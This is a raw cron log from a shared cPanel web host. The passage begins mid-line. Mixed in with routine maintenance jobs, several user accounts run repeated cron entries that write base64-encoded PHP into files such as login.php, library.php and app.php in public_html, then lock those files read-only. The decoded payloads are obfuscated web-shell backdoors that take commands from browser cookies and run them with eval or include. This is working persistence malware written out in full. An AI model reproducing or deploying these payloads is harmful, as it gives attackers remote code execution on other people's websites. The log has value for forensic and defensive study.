TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:03:01 medusa CROND[15230]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:03:01 medusa CROND[15239]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:03:01 medusa CROND[15240]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:03:01 medusa CROND[15241]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:03:01 medusa CROND[15243]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:04:01 medusa CROND[6682]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:04:01 medusa CROND[6683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:04:01 medusa CROND[6685]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:04:01 medusa CROND[6687]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:04:01 medusa CROND[6689]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:04:01 medusa CROND[6690]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 16:04:01 medusa CROND[6691]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:04:01 medusa CROND[6693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:04:01 medusa CROND[6694]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:04:01 medusa CROND[6696]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:04:01 medusa CROND[6698]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:04:01 medusa CROND[6699]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:04:01 medusa CROND[6700]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:05:01 medusa CROND[29663]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 16:05:01 medusa CROND[29739]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 16:05:01 medusa CROND[29768]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 16:05:01 medusa CROND[29830]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:05:01 medusa CROND[29831]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:05:01 medusa CROND[29832]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 16:05:01 medusa CROND[29833]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:05:01 medusa CROND[29842]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
